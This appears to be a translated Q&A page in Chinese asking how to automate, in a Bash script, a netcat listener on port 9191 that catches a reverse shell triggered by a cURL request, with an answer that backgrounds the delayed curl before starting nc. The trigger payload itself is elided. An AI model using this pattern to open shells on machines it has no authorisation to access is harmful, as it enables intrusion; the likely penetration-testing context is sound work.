在 Bash 脚本中一起使用 netcat 和 cURL

在 Bash 脚本中一起使用 netcat 和 cURL

这个问题与信息安全更相关,但我似乎找不到自动化以下过程的解决方法:

有一个 cURL 命令可以触发与 netcat 的连接。如果没有自动化,我输入nc -lvnp 9191, 并输入其他在终端中,我输入 cURL 命令,该命令会在端口 9191 上建立与我的计算机的连接,然后我可以使用该连接在远程计算机中执行一些命令。

我正在我的 Bash 脚本中尝试这样的事情:

nc -lvnp 9191&
curl ......

Netcat 启动一个侦听器,进入后台,cURL 触发连接(我收到返回的连接),但 netcat 立即关闭。

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

nc -lvnp 9191&如果我从 Bash 脚本中删除并仅在 Bash 脚本中保留 cURL 命令,则会发生以下情况:

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

但是,一旦我按“回车”,netcat 作业就会立即暂停:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

我必须fg恢复网络猫的工作并继续工作,但我想知道是否可以以某种方式将自己从这一切中拯救出来。

答案1

因此,在与某人讨论后,我们终于设法让它发挥作用。我们更改了行位置,因此curl首先出现(但作为后台作业),然后是netcat(无背景)。该方法如下所示:

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

相关内容